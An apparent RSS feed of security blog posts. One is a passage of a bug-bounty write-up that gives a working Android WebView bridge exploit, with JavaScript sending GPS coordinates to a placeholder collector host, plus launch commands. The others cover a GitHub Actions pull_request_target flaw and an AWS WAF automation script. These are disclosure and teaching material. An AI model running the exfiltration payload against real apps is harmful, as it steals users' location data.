https. The app happily loads https://pwned.trusted.app.attacker.com/exploit , a domain I fully control<strong>, into the WebView that has the native bridge attached</strong>.</p><h3>Building the PoC</h3><p>The exploit page is just a static HTML file hosted on the attacker domain. When the WebView loads it, the inline script probes for the bridge and exfiltrates whatever it can reach:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;&lt;title&gt;PoC&lt;/title&gt;&lt;/head&gt;<br>&lt;body&gt;<br>&lt;pre id=&quot;out&quot;&gt;&lt;/pre&gt;<br>&lt;script&gt;<br>  const out = document.getElementById(&#39;out&#39;);<br>  const webhook = &#39;https://your-collector.example/collect&#39;;<br><br>  function log(msg) {<br>    out.textContent += msg + &#39;\n&#39;;<br>    fetch(webhook + &#39;?d=&#39; + encodeURIComponent(msg)).catch(() =&gt; {});<br>  }<br><br>  try {<br>    if (typeof Android === &#39;undefined&#39;) {<br>      log(&#39;[FAIL] bridge not present&#39;);<br>    } else {<br>      log(&#39;[OK] bridge reachable&#39;);<br>      log(&#39;[LEAK] version: &#39; + Android.getAppVersion());<br>      log(&#39;[LEAK] loc perm: &#39; + Android.queryLocationPermission());<br>      log(&#39;[LEAK] coords: &#39; + (Android.getCoordinates() || &#39;null&#39;));<br>    }<br>  } catch (e) {<br>    log(&#39;[ERR] &#39; + e.message);<br>  }<br>&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><h3>Triggering it</h3><p>One catch worth calling out, because it’ll waste your time otherwise: <strong>the app must not already be foregrounded.</strong> If StartActivity is alive, Android brings the existing instance forward without re-running onCreate(), so your URL is never loaded. Force-stop first.</p><pre>adb shell am force-stop com.vendor.directoryapp</pre><pre>adb shell am start \<br>  -n com.vendor.directoryapp/.StartActivity \<br>  -d &quot;https://pwned.trusted.app.attacker.com/exploit&quot;</pre><p>Within a second, the collector receives:</p><pre>?d=[OK] bridge reachable<br>?d=[LEAK] version: &lt;redacted&gt;<br>?d=[LEAK] loc perm: granted<br>?d=[LEAK] coords: {&quot;latitude&quot;:&lt;redacted&gt;,&quot;longitude&quot;:&lt;redacted&gt;,&quot;timestamp&quot;:&lt;redacted&gt;}</pre><h3>From ADB to a real-world attack</h3><p>ADB is just for the demo. In the wild, this needs no debugging access and no permissions at all, any installed app can launch an exported activity:</p><pre>Intent i = new Intent();<br>i.setComponent(new ComponentName(<br>    &quot;com.vendor.directoryapp&quot;,<br>    &quot;com.vendor.directoryapp.StartActivity&quot;));<br>i.setData(Uri.parse(&quot;https://pwned.trusted.app.attacker.com/exploit&quot;));<br>startActivity(i);</pre><h3>Impact</h3><p>Once arbitrary JS is running against the bridge, you inherit all 17 methods. Grouped by CIA:</p><p><strong>Confidentiality (high)</strong></p><ul><li>Silent GPS coordinate theft via getCoordinates().</li><li>Location-permission state disclosure and app fingerprinting.</li></ul><p><strong>Integrity (medium)</strong></p><ul><li>enableCallerId(false) silently disables the app&#39;s core protective feature.</li><li>removeOfflineData() Wipes the offline lookup cache.</li><li>showPopupSelectServer() repoints the app to a <strong>staging/beta backend.</strong></li><li>muteTelemarketing(true) tampers with Do-Not-Disturb behavior.</li></ul><p><strong>Availability (low)</strong></p><ul><li>forceOfflineDataDownload() Forces a heavy background sync.</li></ul><h3>The fix</h3><p>The remediation is small:</p><pre>// vulnerable<br>host.contains(&quot;.trusted.app&quot;);</pre><pre>// fixed<br>host.equals(&quot;trusted.app&quot;) || host.endsWith(&quot;.trusted.app&quot;);</pre><p>Defense in depth on top of that:</p><ul><li>Set the activity to exported=&quot;false&quot; if it has no legitimate reason to be launched by other apps (this one had no intent-filter at all).</li><li>Re-validate the origin <em>inside</em> the sensitive @JavascriptInterface methods, so the bridge isn&#39;t a single point of failure.</li><li>Prefer an allowlist that’s actually enforced on the initial loadUrl, not just on in-page navigation.</li></ul><p><strong>Disclosure timeline:</strong></p><p>23/Jul/26 -&gt; Reported</p><p>28/Jul/26 -&gt; Triaged</p><p>13/Aug/26 -&gt; Fixed &amp; Bounty Awarded</p><h3><em>Happy hunting.</em></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e0c05eb066f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When a Stale Fork Turns pull_request_target Into Code Execution]]></title>
            <link>https://medium.com/@husein.ayoub/when-a-stale-fork-turns-pull-request-target-into-code-execution-6afda710fe9a?source=rss-66c1c114eefc------2</link>
            <guid isPermaLink="false">https://medium.com/p/6afda710fe9a</guid>
            <dc:creator><![CDATA[Hussein Ayoub]]></dc:creator>
            <pubDate>Thu, 26 Mar 2026 12:02:32 GMT</pubDate>
            <atom:updated>2026-03-26T12:02:32.264Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UmN4sPRO68glRPZm7hSKlw.png" /></figure><p>The bug was simple.</p><p>A GitHub Actions workflow used pull_request_target, checked out the pull request head, built a Docker image from that checkout, and then ran the image on the repository runner. That is enough to turn an untrusted pull request into attacker-controlled code execution inside CI.</p><p>The more interesting part was not the primitive itself. It was the reason it still existed. The upstream project had already fixed it. The fork had not. A stale fork kept a known-bad workflow alive.</p><p>This post is anonymized. The snippets below are adapted from vulnerable-workflow.yml and not-vulnerable-workflow.yml.</p><h3>Why is this pattern dangerous</h3><p>pull_request_target runs in the context of the target repository, not the fork. That makes it useful for labeling, commenting, and other repository-side automation. It also makes it dangerous.</p><p>The safety rule is strict: if a workflow is triggered by pull_request_target, It must not execute code from the pull request.</p><p>Once the job does this:</p><pre>- name: Checkout PR<br>  uses: actions/checkout@v6<br>  with:<br>    ref: ${{ github.event.pull_request.head.sha }}</pre><p>The trust boundary is already gone. If later steps build, test, or run anything from that checkout, the pull request author controls execution on the runner.</p><h3>The vulnerable workflow</h3><p>The vulnerable design looked like this:</p><pre>on:<br>  pull_request_target:<br>    types: [opened, synchronize, reopened]<br><br>permissions:<br>  contents: read<br>  pull-requests: write<br>  issues: write<br>  statuses: write<br>jobs:<br>  security-scan:<br>    runs-on: ubuntu-latest<br>    steps:<br>      - name: Checkout PR<br>        uses: actions/checkout@v6<br>        with:<br>          ref: ${{ github.event.pull_request.head.sha }}<br>          fetch-depth: 0<br>      - name: Build scanner image<br>        env:<br>          IMAGE_TAG: ${{ github.sha }}<br>        run: |<br>          docker buildx build \<br>            --pull \<br>            --no-cache \<br>            --load \<br>            -t &quot;scanner:${IMAGE_TAG}&quot; \<br>            -f scanner/Dockerfile \<br>            scanner/<br>      - name: Run scanner<br>        env:<br>          API_KEY: ${{ secrets.API_KEY }}<br>          DATA_LOW: ${{ secrets.DATA_LOW }}<br>          DATA_MEDIUM: ${{ secrets.DATA_MEDIUM }}<br>          DATA_HIGH: ${{ secrets.DATA_HIGH }}<br>          IMAGE_TAG: ${{ github.sha }}<br>        run: |<br>          docker run --rm \<br>            -e API_KEY=&quot;$API_KEY&quot; \<br>            -e DATA_LOW=&quot;$DATA_LOW&quot; \<br>            -e DATA_MEDIUM=&quot;$DATA_MEDIUM&quot; \<br>            -e DATA_HIGH=&quot;$DATA_HIGH&quot; \<br>            &quot;scanner:${IMAGE_TAG}&quot;</pre><p>The problem is not subtle.</p><p>The workflow checks out untrusted code from head.sha. It builds a container from files inside that checkout. It then runs that container in a job that has repository context and environment variables injected into it.</p><p>That gives the pull request author control over the image build and container runtime.</p><h3>Exploitation path</h3><p>The attack path was short:</p><ol><li>Fork the repository.</li><li>Modify the Dockerfile used by the workflow.</li><li>Change a file that matches the workflow path filter so the job runs.</li><li>Open a pull request from the fork.</li><li>Let the target repository execute the workflow.</li></ol><p>A minimal proof looked like this:</p><pre>FROM alpine:latest<br>RUN echo &quot;attacker-controlled container build&quot; &amp;&amp; id<br>CMD [&quot;sh&quot;, &quot;-c&quot;, &quot;echo attacker-controlled container running&quot;]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BY-qOWikCjVHifyitN6heA.png" /></figure><p>That is enough to prove control over the build path and runtime path. No exotic payload is needed. If the workflow reaches docker build and docker run.The primitive is established.</p><h3>What I observed in practice</h3><p>The point of the test was not to claim that every run exposed a high-value secret. The point was to show that the workflow executed attacker-controlled container logic inside CI and made runtime data observable to that code.</p><p>Part of the base64-encoded output captured during the test looked like this:</p><pre>T1RFTF9FWFBPUlRFUl9PVExQX1RSQUNFU19QUk9UT0NPTD1ncnBjIFNITFZMPTEgSE9NRT0vcm9v...</pre><p>In this case, the decoded values were runtime environment data rather than a catastrophic secret dump. That does not make the workflow safe. The security failure happened earlier: untrusted pull request code had already been allowed to execute inside a privileged repository workflow.</p><p>Once that happens, the impact depends on what the repository, organization, runner, and job environment happen to expose at that moment:</p><ul><li>Repository or environment secrets</li><li>Token scope and write permissions</li><li>Network reachability from the runner</li><li>Artifact or cache poisoning opportunities</li><li>Runner minute abuse and denial of service</li></ul><p>Security is not measured by whether the first test happened to hit gold. It is measured by whether the trust boundary is held. Here, it did not.</p><h3>Why stale forks matter</h3><p>This case had a second lesson.</p><p>The original project had already fixed the issue. The fork had not absorbed the fix. That is what made the bug interesting. A stale fork can preserve a workflow vulnerability long after the upstream repository has corrected it.</p><p>That matters because forks are often treated as low-risk copies. They are not. A fork with Actions enabled is a live repository with its own workflows, settings, tokens, permissions, and execution surface. If it lags behind upstream, it can retain old CI mistakes indefinitely.</p><p>In other words, upstream may be secure while the fork remains exploitable.</p><p>This is especially easy to miss when teams think about source code drift but forget workflow drift. The application code may be harmless. The CI configuration may not be.</p><h3>The fixed workflow</h3><p>The upstream fix was the right one. Build only from trusted code. Fetch only the pull request content you actually need.</p><p>The corrected pattern looked like this:</p><pre>- name: Checkout base branch (trusted code)<br>  uses: actions/checkout@v6<br>  with:<br>    ref: ${{ github.event.pull_request.base.sha }}<br>    fetch-depth: 0<br>    path: trusted<br>- name: Fetch PR files only<br>  uses: actions/checkout@v6<br>  with:<br>    ref: ${{ github.event.pull_request.head.sha }}<br>    fetch-depth: 0<br>    path: pr-content<br>    sparse-checkout: |<br>      content/data/<br>- name: Build scanner image<br>  env:<br>    IMAGE_TAG: ${{ github.sha }}<br>  run: |<br>    docker buildx build \<br>      --pull \<br>      --no-cache \<br>      --load \<br>      -t &quot;scanner:${IMAGE_TAG}&quot; \<br>      -f trusted/scanner/Dockerfile \<br>      trusted/scanner/</pre><p>This changes the model completely:</p><ul><li>The image is built from the trusted base branch.</li><li>The pull request content is fetched separately.</li><li>Only the data that must be inspected is pulled from the untrusted branch.</li><li>Untrusted content is treated as input, not as executable build logic.</li></ul><p>That distinction is the whole fix.</p><h3>What should be done</h3><p>If you maintain GitHub Actions workflows, the mitigation guidance is straightforward:</p><ol><li>Use pull_request for untrusted code paths.</li><li>Use pull_request_target only for metadata tasks or for workflows that never execute pull request code.</li><li>Never build Docker images, run tests, execute scripts, or invoke package managers from github.event.pull_request.head.sha inside a privileged workflow.</li><li>If you must inspect pull request content, fetch it into a separate directory and limit it with sparse-checkout.</li><li>Build trusted tooling from the base branch or from a pinned prebuilt image.</li><li>Split untrusted and privileged work. A common pattern is unprivileged pull_request first, followed by privileged workflow_run over trusted artifacts.</li><li>Minimize GITHUB_TOKEN permissions and do not inject secrets into any job influenced by untrusted pull request content.</li><li>Audit forks. If a fork does not need Actions, disable them. If it does, keep workflow files synced with upstream security fixes.</li></ol><h3>Final point</h3><p>People often think of stale forks as a maintenance nuisance. In CI, they are a security problem.</p><p>The vulnerable pattern here was not rare or clever. It was a trust mistake: checking out untrusted code in a privileged workflow, then building and running it. The stale fork simply gave that mistake a longer life.</p><p>If your workflow uses pull_request_target, assume every checkout, every build context, every script path, and every mounted file must be justified. The moment untrusted code becomes executable input, the pull request stops being a review artifact and starts being a runner entry point.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6afda710fe9a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Automating AWS WAF IP Threat list with ProxyCheck.io]]></title>
            <link>https://medium.com/@husein.ayoub/automating-aws-waf-ip-threat-list-with-proxycheck-io-a5faec5a9c99?source=rss-66c1c114eefc------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5faec5a9c99</guid>
            <category><![CDATA[waf]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[cloudfront]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Hussein Ayoub]]></dc:creator>
            <pubDate>Thu, 11 Sep 2025 20:14:46 GMT</pubDate>
            <atom:updated>2025-10-18T15:21:26.085Z</atom:updated>
            <content:encoded><![CDATA[<p>In this post, I’ll automate the process of adding malicious IP addresses classified by the following third-party service <a href="https://proxycheck.io/">https://proxycheck.io</a> to AWS WAF.</p><p>AWS has already <a href="https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-ip-rep.html">built-in managed lists</a> you can leverage to protect your resources against malicious IP addresses used for Recon, DoS, or with a general bad reputation.</p><ul><li>AWSManagedIPReputationList</li><li>AWSManagedReconnaissanceList</li><li>AWSManagedIPDDoSList</li></ul><p>But we’re building our own list based on web server access logs, specifically Cloudfront.</p><h3>Prerequisites</h3><ul><li>An API key obtained from <a href="https://proxycheck.io/">https://proxycheck.io/</a> ( they have a generous free plan )</li><li>You need the necessary IAM permissions to deploy an AWS SAM application and create the needed underlying resources.</li><li>An Elasticache Valkey cluster for caching our API call results from ProxyCheck for quota efficiency.</li><li>A telegram bot created so you can receive notifications about WAF updates</li><li>A SAM app initialized with <a href="https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/install-sam-cli.html">AWS SAM CLI</a></li></ul><h3>Walkthrough</h3><p>We will create a new AWS SAM template file and include the following block of YAML definition to define:</p><ul><li>A Lambda function running our Python script that interacts with ProxyCheck API, stores results in Elasticache Valkey along with the risk score associated with the scanned IP address, and updates the AWS WAF IP set accordingly.</li><li>An EventBridge Rule that will act as an event listener to trigger the lambda function whenever a new CSV file is written to our S3 bucket that contains our exported list of IP addresses.</li><li>The necessary IAM permissions attached to the lambda function to read files from S3 and update the WAF IP Set.</li></ul><pre>AWSTemplateFormatVersion: &#39;2010-09-09&#39;<br>Transform: AWS::Serverless-2016-10-31<br>Description: &gt;<br>  ProxyCheck WAF automation<br><br>  ProxyCheck WAF automation Lambda Function that reads IPs from S3, checks risk scores using ProxyCheck.io,<br>  and updates AWS WAF IP sets with high-risk IPs.<br><br># More info about Globals: https://github.com/awslabs/serverless-application-model/blob/master/docs/globals.rst<br>Globals:<br>  Function:<br>    Timeout: 900  # 15 minutes<br>    MemorySize: 512<br>    LoggingConfig:<br>      LogFormat: JSON<br><br>Resources:<br>  ProxyCheckWAFAutomation:<br>    Type: AWS::Serverless::Function<br>    Properties:<br>      FunctionName: &quot;ProxyCheckWAFAutomation&quot;<br>      CodeUri: proxy_check_waf_automation/<br>      Handler: app.lambda_handler<br>      Runtime: python3.13<br>      Architectures:<br>        - x86_64<br>      Timeout: 900  # 15 minutes<br>      MemorySize: 512<br>      Environment:<br>        Variables:<br>          S3_BUCKET_NAME: &quot;proxycheck-waf-automation&quot;<br>          PROXYCHECK_API_KEY: &quot;xxxx-xxxxx-xxxxx-xxxxx&quot;<br>          TELEGRAM_BOT_TOKEN: &quot;YOUR_TG_BOT_TOKEN&quot;<br>          TELEGRAM_CHAT_ID: &quot;-xxxxx&quot;<br>          REDIS_URL: &quot;redis://username:password@hostname/db_name&quot;<br>      Events:<br>        Trigger:<br>          Type: EventBridgeRule<br>          Properties:<br>            Pattern:<br>              source:<br>                - &quot;aws.s3&quot;<br>              detail-type:<br>                - &quot;Object Created&quot;<br>                - &quot;Object Updated&quot;<br>              detail:<br>                bucket: <br>                  name:<br>                    - &quot;proxycheck-waf-automation&quot;<br>      Policies:<br>        - S3ReadPolicy:<br>            BucketName: &quot;proxycheck-waf-automation/*&quot;<br>        - Statement:<br>            - Effect: Allow<br>              Action:<br>                - wafv2:GetIPSet<br>                - wafv2:UpdateIPSet<br>              Resource: &quot;*&quot;</pre><blockquote><em>You need to update the environment variables values to match your S3 bucket name, proxycheck.io API key and telegram bot token and </em><a href="https://stackoverflow.com/questions/32423837/telegram-bot-how-to-get-a-group-chat-id"><em>chat ID</em></a><em>. Please use AWS Systems Manager Parameter store to store your secrets. The above template is for demo purposes only.</em></blockquote><p>Below is the code needed in your Python script:</p><pre>import json<br>import csv<br>import os<br>import io<br>import logging<br>from typing import List, Set, Optional<br>import boto3<br>import requests<br>import proxycheck<br>import botocore.exceptions<br>import sys<br>import redis<br>import time<br><br># Set up logging<br>logger = logging.getLogger()<br>logger.setLevel(logging.INFO)<br><br># Initialize AWS clients<br>s3_client = boto3.client(&#39;s3&#39;)<br>wafv2_client = boto3.client(&#39;wafv2&#39;, region_name=&#39;us-east-1&#39;)<br><br># Initialize ProxyCheck client<br>proxy_checker = proxycheck.Blocking(key=os.environ.get(&#39;PROXYCHECK_API_KEY&#39;))<br><br># Initialize Redis client<br>REDIS_URL = os.environ.get(&#39;REDIS_URL&#39;)<br>redis_client = None<br><br>def get_redis_client():<br>    &quot;&quot;&quot;Get Redis client with connection retry logic&quot;&quot;&quot;<br>    global redis_client<br>    if redis_client is None:<br>        try:<br>            redis_client = redis.from_url(https://medium.com/%3Cbr%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20REDIS_URL,%3Cbr%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20socket_timeout=5,%3Cbr%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20socket_connect_timeout=5,%3Cbr%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20retry_on_timeout=True,%3Cbr%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20health_check_interval=30%3Cbr%3E)<br>            # Test connection<br>            redis_client.ping()<br>            logger.info(&quot;Redis connection established successfully&quot;)<br>        except Exception as e:<br>            logger.warning(f&quot;Failed to connect to Redis: {str(e)}. Will proceed without caching.&quot;)<br>            redis_client = None<br>    return redis_client<br><br><br>def lambda_handler(event, context):<br>    &quot;&quot;&quot;Daily IP Checker Lambda Function<br><br>    This function:<br>    1. Reads a CSV file from S3 containing IPs<br>    2. Deduplicates the IPs<br>    3. Checks risk scores using ProxyCheck.io (limited to 1000 requests)<br>    4. Adds high-risk IPs (score &gt; 33) to AWS WAF IP set<br>    5. Sends Telegram notification about the update<br>    &quot;&quot;&quot;<br><br>    try:<br>        # Get configuration from environment variables<br>        s3_bucket = os.environ.get(&#39;S3_BUCKET_NAME&#39;)<br>        s3_key = event[&quot;detail&quot;][&quot;object&quot;][&quot;key&quot;]<br>        waf_scope =  &#39;CLOUDFRONT&#39;<br>        waf_ip_set_name = &quot;ProxyCheckAutomation&quot;<br>        waf_ip_set_id = &quot;your_id_here&quot;<br>        telegram_bot_token = os.environ.get(&#39;TELEGRAM_BOT_TOKEN&#39;)<br>        telegram_chat_id = os.environ.get(&#39;TELEGRAM_CHAT_ID&#39;)<br><br>        # Validate required environment variables<br>        required_vars = [s3_bucket, s3_key, waf_ip_set_name, waf_ip_set_id]<br>        if not all(required_vars):<br>            raise ValueError(&quot;Missing required environment variables&quot;)<br><br>        logger.info(f&quot;Starting daily IP check process&quot;)<br><br>        # Step 1: Read CSV file from S3<br>        logger.info(f&quot;Reading CSV file from S3: s3://{s3_bucket}/{s3_key}&quot;)<br>        ips = read_ips_from_s3(s3_bucket, s3_key)<br>        logger.info(f&quot;Found {len(ips)} unique IPs after deduplication&quot;)<br><br>        # Step 2: Check IP risk scores (limited to 1000 requests)<br>        logger.info(&quot;Checking IP risk scores with ProxyCheck.io and Redis caching&quot;)<br>        risky_ips = check_ip_risk_scores(ips[:1000])<br>        logger.info(f&quot;Found {len(risky_ips)} risky IPs (risk score &gt; 33)&quot;)<br><br>        # Step 3: Add risky IPs to AWS WAF IP set<br>        added_count = 0<br>        if risky_ips:<br>            logger.info(&quot;Adding risky IPs to AWS WAF IP set&quot;)<br>            # Convert IPs to CIDR format<br>            networks = {f&quot;{ip}/32&quot; for ip in risky_ips}<br>            added_count = update_single_ipset(wafv2_client, waf_ip_set_name, waf_scope, waf_ip_set_id, networks)<br>            logger.info(f&quot;Added {added_count} IPs to WAF IP set&quot;)<br>        else:<br>            logger.info(&quot;No risky IPs found, no updates needed&quot;)<br><br>        # Step 4: Send Telegram notification with cache stats<br>        if telegram_bot_token and telegram_chat_id:<br>            # Get cache efficiency stats for notification<br>            cache_stats = get_cache_stats()<br>            send_telegram_notification(<br>                telegram_bot_token, <br>                telegram_chat_id, <br>                len(ips), <br>                len(risky_ips), <br>                added_count,<br>                context,<br>                cache_stats<br>            )<br><br>        return {<br>            &quot;statusCode&quot;: 200,<br>            &quot;body&quot;: json.dumps({<br>                &quot;message&quot;: &quot;Daily IP check completed successfully&quot;,<br>                &quot;total_ips_processed&quot;: len(ips),<br>                &quot;risky_ips_found&quot;: len(risky_ips),<br>                &quot;ips_added_to_waf&quot;: added_count if risky_ips else 0<br>            })<br>        }<br><br>    except Exception as e:<br>        logger.error(f&quot;Error in daily IP check: {str(e)}&quot;)<br><br>        # Send error notification via Telegram if configured<br>        telegram_bot_token = os.environ.get(&#39;TELEGRAM_BOT_TOKEN&#39;)<br>        telegram_chat_id = os.environ.get(&#39;TELEGRAM_CHAT_ID&#39;)<br>        if telegram_bot_token and telegram_chat_id:<br>            send_error_notification(telegram_bot_token, telegram_chat_id, str(e), context)<br><br>        raise e<br><br><br>def read_ips_from_s3(bucket: str, key: str) -&gt; List[str]:<br>    &quot;&quot;&quot;Read and deduplicate IPs from CSV file in S3&quot;&quot;&quot;<br>    try:<br>        # Download the CSV file from S3<br>        response = s3_client.get_object(Bucket=bucket, Key=key)<br>        csv_content = response[&#39;Body&#39;].read().decode(&#39;utf-8&#39;)<br><br>        # Parse CSV and extract IPs<br>        ips: Set[str] = set()<br>        csv_reader = csv.reader(io.StringIO(csv_content))<br><br>        for row in csv_reader:<br>            # Skip empty rows<br>            if not row or len(row) &lt; 2:<br>                continue<br><br>            # IP is in the second column (index 1)<br>            ip_value = row[1].strip()<br><br>            if ip_value and is_valid_ip(ip_value):<br>                ips.add(ip_value)<br><br>        return list(ips)<br><br>    except Exception as e:<br>        logger.error(f&quot;Error reading IPs from S3: {str(e)}&quot;)<br>        raise<br><br><br>def is_valid_ip(ip: str) -&gt; bool:<br>    &quot;&quot;&quot;Basic IP validation&quot;&quot;&quot;<br>    try:<br>        parts = ip.split(&#39;.&#39;)<br>        return len(parts) == 4 and all(0 &lt;= int(part) &lt;= 255 for part in parts)<br>    except (ValueError, AttributeError):<br>        return False<br><br><br>def get_cached_risk_score(ip: str) -&gt; Optional[int]:<br>    &quot;&quot;&quot;Get cached risk score from Redis&quot;&quot;&quot;<br>    try:<br>        redis_conn = get_redis_client()<br>        if redis_conn is None:<br>            return None<br><br>        cache_key = f&quot;ip_risk:{ip}&quot;<br>        cached_score = redis_conn.get(cache_key)<br><br>        if cached_score is not None:<br>            return int(cached_score.decode(&#39;utf-8&#39;))<br>        return None<br>    except Exception as e:<br>        logger.warning(f&quot;Error reading from Redis cache for IP {ip}: {str(e)}&quot;)<br>        return None<br><br><br>def cache_risk_score(ip: str, risk_score: int, ttl_hours: int = 720):<br>    &quot;&quot;&quot;Cache risk score in Redis with TTL&quot;&quot;&quot;<br>    try:<br>        redis_conn = get_redis_client()<br>        if redis_conn is None:<br>            return<br><br>        cache_key = f&quot;ip_risk:{ip}&quot;<br>        redis_conn.setex(cache_key, ttl_hours * 3600, str(risk_score))<br>        logger.debug(f&quot;Cached risk score for IP {ip}: {risk_score}&quot;)<br>    except Exception as e:<br>        logger.warning(f&quot;Error caching risk score for IP {ip}: {str(e)}&quot;)<br><br><br># Global cache stats for tracking<br>cache_stats = {&quot;cache_hits&quot;: 0, &quot;api_calls&quot;: 0, &quot;checked_count&quot;: 0}<br><br>def get_cache_stats():<br>    &quot;&quot;&quot;Get current cache statistics&quot;&quot;&quot;<br>    return cache_stats.copy()<br><br>def reset_cache_stats():<br>    &quot;&quot;&quot;Reset cache statistics&quot;&quot;&quot;<br>    global cache_stats<br>    cache_stats = {&quot;cache_hits&quot;: 0, &quot;api_calls&quot;: 0, &quot;checked_count&quot;: 0}<br><br>def check_ip_risk_scores(ips: List[str]) -&gt; List[str]:<br>    &quot;&quot;&quot;Check IP risk scores using ProxyCheck.io with Redis caching and return risky IPs&quot;&quot;&quot;<br>    risky_ips = []<br>    reset_cache_stats()  # Reset stats at the beginning of each run<br><br>    try:<br>        logger.info(f&quot;Starting to check {len(ips)} IPs with Redis caching&quot;)<br><br>        for ip in ips:<br>            try:<br>                # First, check if we have a cached result<br>                cached_risk = get_cached_risk_score(ip)<br><br>                if cached_risk is not None:<br>                    risk_score = cached_risk<br>                    cache_stats[&quot;cache_hits&quot;] += 1<br>                    logger.debug(f&quot;Cache hit for IP {ip}: risk score {risk_score}&quot;)<br>                else:<br>                    # Check individual IP using proxy_checker.ip() method<br>                    ip_result = proxy_checker.ip(ip)<br>                    risk_score = ip_result.risk()<br>                    cache_stats[&quot;api_calls&quot;] += 1<br><br>                    # Cache the result for future use<br>                    cache_risk_score(ip, risk_score)<br>                    logger.debug(f&quot;API call for IP {ip}: risk score {risk_score}&quot;)<br><br>                cache_stats[&quot;checked_count&quot;] += 1<br><br>                if risk_score &gt; 33:<br>                    risky_ips.append(ip)<br>                    logger.info(f&quot;Risky IP found: {ip} (risk score: {risk_score})&quot;)<br><br>                # Log progress every 100 IPs<br>                if cache_stats[&quot;checked_count&quot;] % 100 == 0:<br>                    logger.info(f&quot;Progress: {cache_stats[&#39;checked_count&#39;]}/{len(ips)} IPs processed, {len(risky_ips)} risky IPs found. Cache hits: {cache_stats[&#39;cache_hits&#39;]}, API calls: {cache_stats[&#39;api_calls&#39;]}&quot;)<br><br>            except Exception as e:<br>                logger.warning(f&quot;Error checking IP {ip}: {str(e)}&quot;)<br>                continue<br><br>    except Exception as e:<br>        logger.error(f&quot;Error checking IP risk scores: {str(e)}&quot;)<br>        raise<br><br>    cache_efficiency = (cache_stats[&quot;cache_hits&quot;] / cache_stats[&quot;checked_count&quot;] * 100) if cache_stats[&quot;checked_count&quot;] &gt; 0 else 0<br>    logger.info(f&quot;Completed checking {cache_stats[&#39;checked_count&#39;]} IPs, found {len(risky_ips)} risky IPs. Cache efficiency: {cache_stats[&#39;cache_hits&#39;]}/{cache_stats[&#39;checked_count&#39;]} ({cache_efficiency:.1f}% cache hits), API calls saved: {cache_stats[&#39;cache_hits&#39;]}&quot;)<br>    return risky_ips<br><br><br>def get_ipset_and_token(client, name, scope, ipset_id):<br>    &quot;&quot;&quot;<br>    Retrieve an existing WAFv2 IPSet.<br>    Returns (lock_token, description, existing_addresses_set).<br>    &quot;&quot;&quot;<br>    try:<br>        resp = client.get_ip_set(Name=name, Scope=scope, Id=ipset_id)<br>    except botocore.exceptions.ClientError as e:<br>        logger.error(f&quot;Error fetching IPSet {name}: {e}&quot;)<br>        raise<br><br>    ipset = resp[&quot;IPSet&quot;]<br>    lock_token = resp[&quot;LockToken&quot;]<br>    description = ipset.get(&quot;Description&quot;, &quot;&quot;)<br>    existing = set(ipset.get(&quot;Addresses&quot;, []))<br>    return lock_token, description, existing<br><br><br>def update_single_ipset(client, name, scope, ipset_id, networks, is_ipv6=False):<br>    &quot;&quot;&quot;<br>    Add any networks in `networks` to the specified IPSet.<br>    `networks` is a set of CIDR network strings (e.g., &#39;192.168.1.1/32&#39;).<br>    Returns the number of new IPs added.<br>    &quot;&quot;&quot;<br>    try:<br>        # 1) Fetch existing<br>        lock_token, description, existing_addrs = get_ipset_and_token(<br>            client, name, scope, ipset_id<br>        )<br><br>        # 2) Compute new<br>        to_add = networks - existing_addrs<br>        if not to_add:<br>            logger.info(f&quot;[{name}] no new {&#39;IPv6&#39; if is_ipv6 else &#39;IPv4&#39;} CIDRs to add.&quot;)<br>            return 0<br><br>        # 3) Merge and sort<br>        updated = sorted(existing_addrs | networks)<br>        limit = 10000<br>        if len(updated) &gt; limit:<br>            logger.error(f&quot;[{name}] total addresses {len(updated)} exceed limit {limit}.&quot;)<br>            raise ValueError(f&quot;IPSet would exceed limit of {limit} addresses&quot;)<br><br>        # 4) Update IPSet<br>        try:<br>            resp = client.update_ip_set(<br>                Name=name,<br>                Scope=scope,<br>                Id=ipset_id,<br>                Description=description or &#39;Daily IP Risk Checker - High Risk IPs&#39;,<br>                Addresses=list(updated),<br>                LockToken=lock_token<br>            )<br>        except botocore.exceptions.ClientError as e:<br>            logger.error(f&quot;Error updating IPSet {name}: {e}&quot;)<br>            raise<br><br>        next_token = resp.get(&quot;NextLockToken&quot;)<br>        logger.info(<br>            f&quot;[{name}] Inserted {len(to_add)} new items; now has {len(updated)} addresses. &quot;<br>            f&quot;NextLockToken: {next_token}&quot;<br>        )<br>        return len(to_add)<br><br>    except Exception as e:<br>        logger.error(f&quot;Error updating IPSet {name}: {str(e)}&quot;)<br>        raise<br><br><br>def send_telegram_notification(bot_token: str, chat_id: str, total_ips: int, risky_ips: int, added_ips: int, context=None, cache_stats=None):<br>    &quot;&quot;&quot;Send Telegram notification about the IP check results&quot;&quot;&quot;<br>    try:<br>        request_id = context.aws_request_id if context else &#39;Unknown&#39;<br><br>        # Build cache efficiency message<br>        cache_message = &quot;&quot;<br>        if cache_stats and cache_stats.get(&quot;checked_count&quot;, 0) &gt; 0:<br>            cache_efficiency = (cache_stats[&quot;cache_hits&quot;] / cache_stats[&quot;checked_count&quot;] * 100)<br>            cache_message = f&quot;&quot;&quot;<br>💾 Cache Performance:<br>   • Cache hits: {cache_stats[&quot;cache_hits&quot;]}<br>   • API calls: {cache_stats[&quot;api_calls&quot;]} 